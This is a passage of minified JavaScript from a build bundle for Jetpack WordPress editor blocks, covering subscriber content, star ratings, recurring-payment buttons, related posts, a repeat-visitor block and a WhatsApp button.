r=s(10790);const n={attributes:{},supports:{inserter:!1,html:!1},save:()=&gt;(0,r.jsx)(&quot;div&quot;,{className:&quot;wp-block-premium-content-subscriber-view&quot;})}},38275(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(29491),o=s(47143),a=s(27723),i=s(89401),l=s(57527),c=s(10790);const __=a.__;const u=(0,n.compose)([(0,o.withSelect)((e,t)=&gt;({hasInnerBlocks:!!e(&quot;core/block-editor&quot;).getBlocksByClientId(t.clientId)[0].innerBlocks.length}))])(function({hasInnerBlocks:e}){const t=(0,l.uw)();return(0,c.jsx)(i.A.Consumer,{children:({selectedTab:s})=&gt;(0,c.jsx)(&quot;div&quot;,{hidden:&quot;wall&quot;===s.id,className:s.className,children:(0,c.jsx)(r.InnerBlocks,{allowedBlocks:t,renderAppender:!e&amp;&amp;r.InnerBlocks.ButtonBlockAppender,templateLock:!1,templateInsertUpdatesSelection:!1,template:[[&quot;core/heading&quot;,{content:__(&quot;Subscriber Content&quot;,&quot;jetpack&quot;),level:3}],[&quot;core/paragraph&quot;,{content:__(&quot;Add content here that will only be visible to your subscribers.&quot;,&quot;jetpack&quot;)}]]})})})})},22227(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;l,W:()=&gt;c});var r=s(27723),n=s(37137),o=s(36257),a=s(38275),i=s(20606);const __=r.__,l=&quot;premium-content/subscriber-view&quot;,c={apiVersion:3,title:__(&quot;Subscriber View&quot;,&quot;jetpack&quot;),description:__(&quot;The container for all content shown to subscribers.&quot;,&quot;jetpack&quot;),icon:n.A,category:&quot;grow&quot;,attributes:{},edit:a.A,save:i.A,parent:[&quot;premium-content/container&quot;],supports:{inserter:!1,html:!1},deprecated:o.A}},20606(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save({className:&quot;wp-block-premium-content-subscriber-view entry-content&quot;});return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},80513(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(56427),o=s(27723),a=s(10790);const __=o.__,i=({id:e,setRating:t,children:s})=&gt;{return(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-ratings-button&quot;,tabIndex:0,role:&quot;button&quot;,onKeyDown:(r=e,({code:e})=&gt;&quot;Enter&quot;===e?t(r):null),onClick:(e=&gt;()=&gt;t(e))(e),children:s});var r},l=e=&gt;function({setAttributes:t,attributes:{align:s,color:o,rating:l,maxRating:c}}){const u=(0,r.useBlockProps)(),d=e=&gt;{e===l?Math.ceil(l)===l&amp;&amp;(e-=.5):.5===l&amp;&amp;1===e&amp;&amp;(e=0),t({rating:e})};return(0,a.jsxs)(&quot;div&quot;,{...u,children:[(0,a.jsx)(r.BlockControls,{children:(0,a.jsx)(r.AlignmentToolbar,{value:s,onChange:e=&gt;t({align:e})})}),(0,a.jsx)(&quot;div&quot;,{style:{textAlign:s},children:Array.from(Array(Math.ceil(c)),(e,t)=&gt;t+1).map(t=&gt;(0,a.jsxs)(i,{id:t,setRating:d,children:[(0,a.jsx)(&quot;span&quot;,{children:(0,a.jsx)(e,{className:l&gt;=t-.5?null:&quot;is-rating-unfilled&quot;,color:o})}),(0,a.jsx)(&quot;span&quot;,{children:(0,a.jsx)(e,{className:l&gt;=t?null:&quot;is-rating-unfilled&quot;,color:o})})]},t))}),(0,a.jsxs)(r.InspectorControls,{children:[(0,a.jsx)(n.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:(0,a.jsx)(n.RangeControl,{label:__(&quot;Highest rating&quot;,&quot;jetpack&quot;),value:c,onChange:e=&gt;t({maxRating:e}),min:2,max:10,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,a.jsx)(r.PanelColorSettings,{title:__(&quot;Color&quot;,&quot;jetpack&quot;),initialOpen:!0,colorSettings:[{value:o,onChange:e=&gt;t({color:e}),label:__(&quot;Color&quot;,&quot;jetpack&quot;)}]})]})]})}},8171(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(8206),o=s(80513),a=s(28268),i=s(32876);s(62585),s(71293);(0,r.M)(n,{edit:(0,o.A)(a.G),save:(0,i.A)(&quot;★&quot;)})},28268(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;o});var r=s(56427),n=s(10790);const o=e=&gt;{const t=(e=&gt;e&amp;&amp;e.color?e.color:&quot;currentColor&quot;)(e),s=(e=&gt;e&amp;&amp;e.className?e.className:&quot;&quot;)(e);return(0,n.jsx)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,color:t,children:(0,n.jsx)(r.Path,{className:s,fill:t,stroke:t,d:&quot;M12,17.3l6.2,3.7l-1.6-7L22,9.2l-7.2-0.6L12,2L9.2,8.6L2,9.2L7.5,14l-1.6,7L12,17.3z&quot;})})}},32876(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=e=&gt;function({attributes:{align:t,rating:s,color:o}}){const a=r.useBlockProps.save();return(0,n.jsx)(&quot;figure&quot;,{...a,style:{textAlign:t},children:Array.from(Array(Math.ceil(s)),(e,t)=&gt;t+1).map(t=&gt;(0,n.jsx)(&quot;span&quot;,{style:{color:o},children:e},t))})}},87938(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(74997),n=s(66087);const o=[&quot;submitButtonText&quot;,&quot;submitButtonClasses&quot;,&quot;backgroundButtonColor&quot;,&quot;textButtonColor&quot;,&quot;customBackgroundButtonColor&quot;,&quot;customTextButtonColor&quot;],a={attributes:{planId:{type:&quot;integer&quot;},submitButtonText:{type:&quot;string&quot;},submitButtonClasses:{type:&quot;string&quot;},backgroundButtonColor:{type:&quot;string&quot;},textButtonColor:{type:&quot;string&quot;},customBackgroundButtonColor:{type:&quot;string&quot;},customTextButtonColor:{type:&quot;string&quot;},align:{type:&quot;string&quot;}},migrate:e=&gt;{const t=Object.fromEntries(Object.entries(e).filter(([e])=&gt;!o.includes(e))),s={text:(n=e).submitButtonText,textColor:n.textButtonColor,customTextColor:n.customTextButtonColor,backgroundColor:n.backgroundButtonColor,customBackgroundColor:n.customBackgroundButtonColor};var n;return[t,[(0,r.createBlock)(&quot;jetpack/button&quot;,{element:&quot;a&quot;,uniqueId:&quot;recurring-payments-id&quot;,...s})]]},isEligible:(e,t)=&gt;(0,n.isEmpty)(t)||Object.entries(e).some(([e,t])=&gt;t&amp;&amp;o.includes(e)),save:()=&gt;null}},15879(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o={attributes:{planId:{type:&quot;integer&quot;},align:{type:&quot;string&quot;},url:{type:&quot;string&quot;,default:&quot;#&quot;},uniqueId:{type:&quot;string&quot;,default:&quot;id&quot;},width:{type:&quot;string&quot;}},supports:{html:!1,__experimentalExposeControlsToChildren:!0},save:({attributes:{width:e}})=&gt;{const t={width:e};e?.includes(&quot;%&quot;)&amp;&amp;(t.width=`calc( ${e} - var( --jetpack-payment-buttons-gap, 0 ) * ${(100-e.replace(&quot;%&quot;,&quot;&quot;))/100} )`);const s=r.useInnerBlocksProps.save({...r.useBlockProps.save(),style:t});return(0,n.jsx)(&quot;div&quot;,{...s})}}},94844(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(94715),n=s(47143),o=s(43656),a=s(86087),i=s(52619),l=s(97627),c=s(53796),u=s(59340),d=s(89303),p=s(38062),h=s(5380),m=s(10790);const g=&quot;recurring-payments&quot;;function f({attributes:e,clientId:t,setAttributes:s}){const{align:f,planId:b,planIds:v,width:k}=e,y=(0,a.useMemo)(()=&gt;v||(b?[b]:[]),[b,v]),x=(0,u.AU)(),j=(0,n.useSelect)(e=&gt;e(o.store)?.getCurrentPost()?.link,[]),w=(0,a.useCallback)(e=&gt;{if(!Array.isArray(e)||0===e.length)return;const t=e.map(e=&gt;parseInt(e,10)).filter(e=&gt;!isNaN(e));if(Array.isArray(y)&amp;&amp;t.length===y.length&amp;&amp;t.every(e=&gt;y.includes(e)))return;const r=t.join(&quot;+&quot;);s({planId:null,planIds:t,url:(e=&gt;{if(u.vf!==x||!j)return&quot;#&quot;;const t=new URL(j);return t.searchParams.set(&quot;recurring_payments&quot;,e),t.toString()})(r),uniqueId:`recurring-payments-${r}`})},[x,y,j,s]);(0,a.useEffect)(()=&gt;{w(y)},[y,w]);const{showProductManagementControls:_,showStripeNudge:C}=(0,i.applyFilters)(&quot;jetpack.recurringPayments.editorSettings&quot;,{showProductManagementControls:!0,showStripeNudge:!0},t);(0,d.A)({attributes:e,setAttributes:s});const A=(0,r.useBlockProps)({style:(0,h.a)({width:k})}),S=(0,r.useInnerBlocksProps)({},{template:[[&quot;jetpack/button&quot;,{element:&quot;a&quot;,passthroughAttributes:{uniqueId:&quot;uniqueId&quot;,url:&quot;url&quot;}}]],templateLock:&quot;all&quot;,templateInsertUpdatesSelection:!0});return(0,m.jsxs)(&quot;div&quot;,{...A,children:[_&amp;&amp;(0,m.jsx)(l.A,{blockName:g,clientId:t,selectedProductIds:y,setSelectedProductIds:w}),(0,m.jsx)(r.InspectorControls,{children:(0,m.jsx)(p.D,{align:f,width:k,onChange:e=&gt;s({width:e})})}),C&amp;&amp;(0,m.jsx)(c.V,{blockName:g}),(0,m.jsx)(&quot;div&quot;,{...S})]})}},75849(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(77675),a=s(87938),i=s(15879),l=s(94844),c=s(85825);s(87264);(0,n.M)(o,{...o,edit:l.A,save:c.A,deprecated:[i.A,a.A],transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/buttons&quot;],isMatch:(e,t)=&gt;void 0!==t&amp;&amp;1===t.innerBlocks.length&amp;&amp;&quot;core/button&quot;===t.innerBlocks[0].name,transform:(e,t)=&gt;{const s=t[0],n={element:&quot;a&quot;,text:s.attributes.text??&quot;&quot;,className:s.attributes.className??&quot;&quot;},o=s.attributes.width;o&amp;&amp;(n.width=o.toString()+&quot;%&quot;);const a=s.attributes.style?.border?.radius;a&amp;&amp;(n.borderRadius=parseInt(a.substring(0,a.length-2)));const i=(0,r.createBlock)(&quot;jetpack/button&quot;,n,[]);return(0,r.createBlock)(&quot;jetpack/&quot;+name,{},[i])}}]}})},85825(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(5380),o=s(10790);function a({attributes:{width:e}}){const t=r.useInnerBlocksProps.save({...r.useBlockProps.save(),style:(0,n.a)({width:e})});return(0,o.jsx)(&quot;div&quot;,{...t})}},5380(e,t,s){&quot;use strict&quot;;s.d(t,{a:()=&gt;r});const r=({width:e})=&gt;{const t={width:e};return e?.includes(&quot;%&quot;)&amp;&amp;(t.width=`calc(${e} - var(--jetpack-payment-buttons-gap, 0) * ${(100-e.replace(&quot;%&quot;,&quot;&quot;))/100})`),t}},77212(e,t,s){&quot;use strict&quot;;s.d(t,{WB:()=&gt;i,_f:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__;function a({attributes:e,setAttributes:t}){const{displayAuthor:s,displayContext:n,displayDate:a,displayThumbnails:i,postsToShow:l}=e;return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(r.PanelBody,{title:__(&quot;Layout settings&quot;,&quot;jetpack&quot;),children:(0,o.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Number of posts&quot;,&quot;jetpack&quot;),value:l,onChange:e=&gt;t({postsToShow:Math.min(e,6)}),min:1,max:6})}),(0,o.jsxs)(r.PanelBody,{title:__(&quot;Metadata settings&quot;,&quot;jetpack&quot;),children:[(0,o.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display date&quot;,&quot;jetpack&quot;),checked:a,onChange:e=&gt;t({displayDate:e})}),(0,o.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display author&quot;,&quot;jetpack&quot;),checked:s,onChange:e=&gt;t({displayAuthor:e})}),(0,o.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display context (category or tag)&quot;,&quot;jetpack&quot;),checked:n,onChange:e=&gt;t({displayContext:e})}),(0,o.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Display thumbnail&quot;,&quot;jetpack&quot;),checked:i,onChange:e=&gt;t({displayThumbnails:e})})]})]})}function i({attributes:e,setAttributes:t}){const{postLayout:s}=e,n=[{icon:&quot;grid-view&quot;,title:__(&quot;Grid view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({postLayout:&quot;grid&quot;}),isActive:&quot;grid&quot;===s},{icon:&quot;list-view&quot;,title:__(&quot;List view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({postLayout:&quot;list&quot;}),isActive:&quot;list&quot;===s}];return(0,o.jsx)(r.ToolbarGroup,{controls:n})}},49108(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[s(82228)]},50783(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={postLayout:{type:&quot;string&quot;,default:&quot;grid&quot;},displayAuthor:{type:&quot;boolean&quot;,default:!1},displayDate:{type:&quot;boolean&quot;,default:!0},displayHeadline:{type:&quot;boolean&quot;,default:!1},displayThumbnails:{type:&quot;boolean&quot;,default:!1},displayContext:{type:&quot;boolean&quot;,default:!1},headline:{type:&quot;string&quot;,default:&quot;&quot;},postsToShow:{type:&quot;number&quot;,default:3}}},82228(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;n.A,migrate:()=&gt;a,save:()=&gt;i,supports:()=&gt;o.A});var r=s(74997),n=s(50783),o=s(90526);const a=(e,t)=&gt;[e,e.headline?[(0,r.createBlock)(&quot;core/heading&quot;,{content:e.headline,level:3}),...t]:t],i=()=&gt;null},90526(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={html:!1,multiple:!1,reusable:!1,color:{gradients:!0,link:!0},spacing:{margin:!0,padding:!0},typography:{__experimentalFontFamily:!0,fontSize:!0,lineHeight:!0},align:[&quot;wide&quot;,&quot;full&quot;]}},89218(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;y});var r=s(85985),n=s(94715),o=s(56427),a=s(29491),i=s(27723),l=s(9522),c=s(59340),u=s(88795),d=s(77212),p=s(80108),h=s(21144),m=s(22131),g=(s(96854),s(10790));const __=i.__,f=u.name.replace(&quot;jetpack/&quot;,&quot;&quot;);function b(e){return(0,g.jsxs)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post&quot;,id:e.id,&quot;aria-labelledby&quot;:e.id+&quot;-heading&quot;,children:[(0,g.jsx)(&quot;strong&quot;,{id:e.id+&quot;-heading&quot;,className:&quot;jp-related-posts-i2__post-link&quot;,children:e.isInSiteEditor?__(&quot;Preview unavailable in site editor. The post title will appear normally on your site.&quot;,&quot;jetpack&quot;):__(&quot;Preview unavailable: you haven&#039;t published enough posts with similar content.&quot;,&quot;jetpack&quot;)}),e.displayThumbnails&amp;&amp;(0,g.jsxs)(&quot;figure&quot;,{className:&quot;jp-related-posts-i2__post-image-placeholder&quot;,&quot;aria-label&quot;:__(&quot;Placeholder image&quot;,&quot;jetpack&quot;),children:[(0,g.jsxs)(o.SVG,{className:&quot;jp-related-posts-i2__post-image-placeholder-square&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;100%&quot;,height:&quot;100%&quot;,viewBox:&quot;0 0 350 200&quot;,children:[(0,g.jsx)(&quot;title&quot;,{children:__(&quot;Grey square&quot;,&quot;jetpack&quot;)}),(0,g.jsx)(o.Path,{d:&quot;M0 0h350v200H0z&quot;,fill:&quot;#8B8B96&quot;,fillOpacity:&quot;.1&quot;})]}),(0,g.jsxs)(o.SVG,{className:&quot;jp-related-posts-i2__post-image-placeholder-icon&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,g.jsx)(&quot;title&quot;,{children:__(&quot;Icon for image&quot;,&quot;jetpack&quot;)}),(0,g.jsx)(o.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,g.jsx)(o.Path,{d:&quot;M19 5v14H5V5h14m0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-4.86 8.86l-3 3.87L9 13.14 6 17h12l-3.86-5.14z&quot;})]})]}),e.displayDate&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-date has-small-font-size&quot;,children:__(&quot;August 3, 2025&quot;,&quot;jetpack&quot;)}),e.displayAuthor&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-author has-small-font-size&quot;,children:__(&quot;by John Doe&quot;,&quot;jetpack&quot;)}),e.displayContext&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-context has-small-font-size&quot;,children:__(&quot;In “Uncategorized”&quot;,&quot;jetpack&quot;)})]})}function v(e){const t=e.post?.block_context?.text||&quot;&quot;,s=e.post?.block_context?.link||&quot;&quot;,r=&quot;&quot;!==t,n=&quot;&quot;!==s;return(0,g.jsxs)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post&quot;,id:e.id,&quot;aria-labelledby&quot;:e.id+&quot;-heading&quot;,children:[(0,g.jsx)(&quot;a&quot;,{className:&quot;jp-related-posts-i2__post-link&quot;,id:e.id+&quot;-heading&quot;,href:e.post.url,rel:&quot;nofollow noopener noreferrer&quot;,target:&quot;_blank&quot;,children:e.post.title}),e.displayThumbnails&amp;&amp;e.post.img&amp;&amp;e.post.img.src&amp;&amp;(0,g.jsx)(&quot;a&quot;,{className:&quot;jp-related-posts-i2__post-img-link&quot;,href:e.post.url,target:&quot;_blank&quot;,rel:&quot;nofollow noopener noreferrer&quot;,children:(0,g.jsx)(&quot;img&quot;,{className:&quot;jp-related-posts-i2__post-img&quot;,src:e.post.img.src,alt:e.post.title})}),e.displayDate&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-date has-small-font-size&quot;,children:e.post.date}),e.displayAuthor&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-author has-small-font-size&quot;,children:e.post.author}),e.displayContext&amp;&amp;r&amp;&amp;(0,g.jsxs)(&quot;div&quot;,{className:&quot;jp-related-posts-i2__post-context has-small-font-size&quot;,children:[n&amp;&amp;(0,g.jsx)(&quot;a&quot;,{href:s,children:t}),!1===n&amp;&amp;t]})]})}function k(e){const t=&quot;jp-related-posts-i2__row&quot;;let s=0;const r=e.posts.length&gt;3;switch(e.posts.length){case 2:case 4:case 5:s=2;break;default:s=3}return(0,g.jsxs)(&quot;div&quot;,{children:[(0,g.jsx)(&quot;div&quot;,{className:t,&quot;data-post-count&quot;:e.posts.slice(0,s).length,children:e.posts.slice(0,s)}),r&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:t,&quot;data-post-count&quot;:e.posts.slice(s).length,children:e.posts.slice(s)})]})}function y({attributes:e,setAttributes:t}){const{displayAuthor:s,displayContext:o,displayDate:i,displayThumbnails:u,postLayout:x,postsToShow:j}=e,w=(0,n.useBlockProps)(),{isLoadingModules:_,isChangingStatus:C,isModuleActive:A,changeStatus:S}=(0,r.q7)(f),{isEnabled:E,enable:N,isFetchingStatus:T,isUpdatingStatus:B}=(0,h.M)(),P=C||B,{posts:I,isLoading:M}=(0,p.Y)(E),L=c.O3===(0,c.AU)(),{instanceId:R}=(0,a.useInstanceId)(y);let D;if(_||T||M)D=(0,g.jsx)(l.G,{});else if(A&amp;&amp;E){const r=&quot;jp-relatedposts-i2&quot;,a=[];for(let e=0;e&lt;j;e++)I[e]?a.push((0,g.jsx)(v,{id:`related-posts-${R}-post-${e}`,post:I[e],displayThumbnails:u,displayDate:i,displayContext:o,displayAuthor:s},r+&quot;-&quot;+e)):a.push((0,g.jsx)(b,{id:`related-posts-${R}-post-${e}`,displayThumbnails:u,displayDate:i,displayContext:o,isInSiteEditor:L,displayAuthor:s},&quot;related-post-placeholder-&quot;+e));D=(0,g.jsxs)(g.Fragment,{children:[(0,g.jsx)(n.InspectorControls,{children:(0,g.jsx)(d._f,{attributes:e,setAttributes:t})}),(0,g.jsx)(n.BlockControls,{children:(0,g.jsx)(d.WB,{attributes:e,setAttributes:t})}),(0,g.jsxs)(&quot;div&quot;,{id:`related-posts-${R}`,children:[(0,g.jsx)(n.InnerBlocks,{allowedBlocks:[&quot;core/heading&quot;],template:[[&quot;core/heading&quot;,{placeholder:__(&quot;Add a headline&quot;,&quot;jetpack&quot;)}]]}),(0,g.jsx)(&quot;div&quot;,{className:r,&quot;data-layout&quot;:x,children:(0,g.jsx)(k,{posts:a})})]})]})}else D=(0,g.jsx)(m.L,{changeStatus:S,isLoading:P,enable:N});return(0,g.jsx)(&quot;div&quot;,{...w,children:D})}},1063(e,t,s){&quot;use strict&quot;;var r=s(94715),n=s(94375),o=s(88795),a=s(49108),i=s(89218),l=(s(98920),s(10790));(0,n.M)(o,{edit:i.A,save:()=&gt;{const e=r.useBlockProps.save();return(0,l.jsx)(&quot;div&quot;,{...e,children:(0,l.jsx)(r.InnerBlocks.Content,{})})},transforms:{from:[{type:&quot;shortcode&quot;,tag:&quot;jetpack-related-posts&quot;}]},deprecated:a.A})},80108(e,t,s){&quot;use strict&quot;;s.d(t,{Y:()=&gt;c});var r=s(1455),n=s.n(r),o=s(29491),a=s(47143),i=s(43656),l=s(86087);const c=e=&gt;{const t=(0,o.usePrevious)(e),[s,r]=(0,l.useState)(!1),[c,u]=(0,l.useState)(null),{currentPostId:d,currentPostRelatedPosts:p}=(0,a.useSelect)(e=&gt;{const t=e(i.store).getCurrentPost();return{currentPostId:t.id,currentPostRelatedPosts:t?.[&quot;jetpack-related-posts&quot;]??[]}}),h=0===p.length&amp;&amp;!t&amp;&amp;e;return(0,l.useEffect)(()=&gt;{h&amp;&amp;(r(!0),async function(e){try{return await n()({path:`/wpcom/v2/related-posts/${e}`})}catch{return[]}}(d).then(e=&gt;{u(e)}).catch(()=&gt;{}).then(()=&gt;{r(!1)}))},[h,d]),(0,l.useMemo)(()=&gt;({posts:c??p,isLoading:s}),[s,c,p])}},21144(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;a});var r=s(1455),n=s.n(r),o=s(86087);const a=()=&gt;{const[e,t]=(0,o.useState)(!1),[s,r]=(0,o.useState)(!1),[a,i]=(0,o.useState)(!1);(0,o.useEffect)(()=&gt;{t(!0),async function(){try{const e=await n()({path:&quot;/wpcom/v2/related-posts&quot;});return e?.enabled??!1}catch{return!1}}().then(e=&gt;{i(e),t(!1)}).catch(()=&gt;{t(!1)})},[]);const l=(0,o.useCallback)(()=&gt;{r(!0),async function(){try{return await n()({path:&quot;/wpcom/v2/related-posts/enable&quot;,method:&quot;POST&quot;})}catch{return!1}}().then(e=&gt;{i(e),r(!1)}).catch(()=&gt;{r(!1)})},[]);return(0,o.useMemo)(()=&gt;({isEnabled:a,enable:l,isFetchingStatus:e,isUpdatingStatus:s}),[a,l,e,s])}},22131(e,t,s){&quot;use strict&quot;;s.d(t,{L:()=&gt;p});var r=s(3924),n=s(97999),o=s(85985),a=s(56427),i=s(86087),l=s(27723),c=s(88795),u=s(10790);const __=l.__,d=(0,o.sh)(c),p=({className:e,changeStatus:t,isLoading:s,enable:l})=&gt;{const{tracks:p}=(0,o.st)();(0,i.useEffect)(()=&gt;{p.recordEvent(&quot;jetpack_editor_related_posts_placeholder_view&quot;)},[p]);const h=(0,n.isWpcomPlatformSite)()?&quot;https://wordpress.com/support/related-posts/&quot;:(0,r.A)(&quot;jetpack-support-related-posts&quot;);return(0,u.jsx)(&quot;div&quot;,{className:e,children:(0,u.jsxs)(a.Placeholder,{icon:d,instructions:__(&quot;You&#039;ll need to activate the Related Posts feature to use this block.&quot;,&quot;jetpack&quot;),label:c.title,children:[(0,u.jsx)(a.Button,{disabled:s,isBusy:s,onClick:()=&gt;{let e=!1;return p.recordEvent(&quot;jetpack_editor_related_posts_enable&quot;),(0,n.isSimpleSite)()||(e=t(!0)),e=l(),e},variant:&quot;secondary&quot;,children:s?__(&quot;Activating Related Posts&quot;,&quot;jetpack&quot;):__(&quot;Activate Related Posts&quot;,&quot;jetpack&quot;,0)}),(0,u.jsx)(&quot;div&quot;,{className:&quot;components-placeholder__learn-more&quot;,children:(0,u.jsx)(a.ExternalLink,{href:h,children:__(&quot;Learn more about the Related Posts feature.&quot;,&quot;jetpack&quot;)})})]})})}},34570(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(85985),n=s(94715),o=s(56427),a=s(47143),i=s(86087),l=s(27723),c=s(13022),u=s(20242),d=s(84730),p=s(10790);const __=l.__,_n=l._n,h=[{value:d.DF,label:__(&quot;Show after threshold&quot;,&quot;jetpack&quot;)},{value:d.et,label:__(&quot;Show before threshold&quot;,&quot;jetpack&quot;)}],m=(0,r.sh)(u),g=(0,a.withSelect)((e,t)=&gt;{const{isBlockSelected:s,hasSelectedInnerBlock:r}=e(&quot;core/block-editor&quot;);return{isSelected:s(t.clientId)||r(t.clientId)}})(({isSelected:e,attributes:t,setAttributes:s})=&gt;{const{criteria:r,threshold:a}=t,u=(0,n.useBlockProps)(),[g,f]=(0,i.useState)(!0);return(0,p.jsxs)(&quot;div&quot;,{...u,className:(0,c.A)(u.className,{&quot;wp-block-jetpack-repeat-visitor--is-unselected&quot;:!e}),children:[(0,p.jsxs)(o.Placeholder,{icon:m,label:__(&quot;Repeat Visitor&quot;,&quot;jetpack&quot;),className:&quot;wp-block-jetpack-repeat-visitor-placeholder&quot;,children:[(0,p.jsx)(o.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:&quot;wp-block-jetpack-repeat-visitor-threshold&quot;,defaultValue:a,help:g?&quot;&quot;:__(&quot;Please enter a valid number.&quot;,&quot;jetpack&quot;),label:__(&quot;Visit count threshold&quot;,&quot;jetpack&quot;),min:&quot;1&quot;,onChange:e=&gt;{/^\d+$/.test(e)&amp;&amp;+e&gt;0?(s({threshold:+e}),f(!0)):f(!1)},pattern:&quot;[0-9]&quot;,type:&quot;number&quot;}),(0,p.jsx)(o.RadioControl,{label:__(&quot;Visibility&quot;,&quot;jetpack&quot;),selected:r,options:h,onChange:e=&gt;s({criteria:e})})]}),(0,p.jsx)(o.Notice,{status:&quot;info&quot;,isDismissible:!1,children:r===d.DF?1===a?__(&quot;This block will only appear to people who have visited this page more than once.&quot;,&quot;jetpack&quot;):(0,l.sprintf)(/* translators: %d: the number of people. */
_n(&quot;This block will only appear to people who have visited this page more than %d time.&quot;,&quot;This block will only appear to people who have visited this page more than %d times.&quot;,+a,&quot;jetpack&quot;),a):1===a?__(&quot;This block will only appear to people who are visiting this page for the first time.&quot;,&quot;jetpack&quot;):(0,l.sprintf)(/* translators: %d: the number of people. */
_n(&quot;This block will only appear to people who are visiting this page for %d time.&quot;,&quot;This block will only appear to people who have visited this page at most %d times.&quot;,+a,&quot;jetpack&quot;),a)}),(0,p.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-repeat-visitor__inner-container&quot;,children:(0,p.jsx)(n.InnerBlocks,{})})]})})},53183(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=()=&gt;{const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-repeat-visitor__inner-container&quot;,children:(0,n.jsx)(r.InnerBlocks.Content,{})})})}},84730(e,t,s){&quot;use strict&quot;;s.d(t,{DF:()=&gt;r,aV:()=&gt;o,et:()=&gt;n});const r=&quot;after-visits&quot;,n=&quot;before-visits&quot;,o=3},31566(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(84730),o=s(10790);const a={attributes:{criteria:{type:&quot;string&quot;,default:n.DF},threshold:{type:&quot;number&quot;,default:n.aV}},supports:{html:!1},save:({className:e})=&gt;(0,o.jsx)(&quot;div&quot;,{className:e,children:(0,o.jsx)(r.InnerBlocks.Content,{})})}},79238(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(20242),o=s(34570),a=s(53183),i=s(31566);s(12315);(0,r.M)(n,{edit:o.A,save:a.A,deprecated:[i.A]})},24097(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=(0,r.useBlockProps)();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks,{template:[[&quot;jetpack/whatsapp-button&quot;,{}]],allowedBlocks:[&quot;jetpack/whatsapp-button&quot;]})})}},38136(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(58180),o=s(24097),a=s(92908),i=s(92335),l=s(7651);(0,r.M)(n,{edit:o.A,save:a.A,variations:i.A},[{name:l.UU,settings:l.W0}])},92908(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=()=&gt;{const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},57699(e,t,s){&quot;use 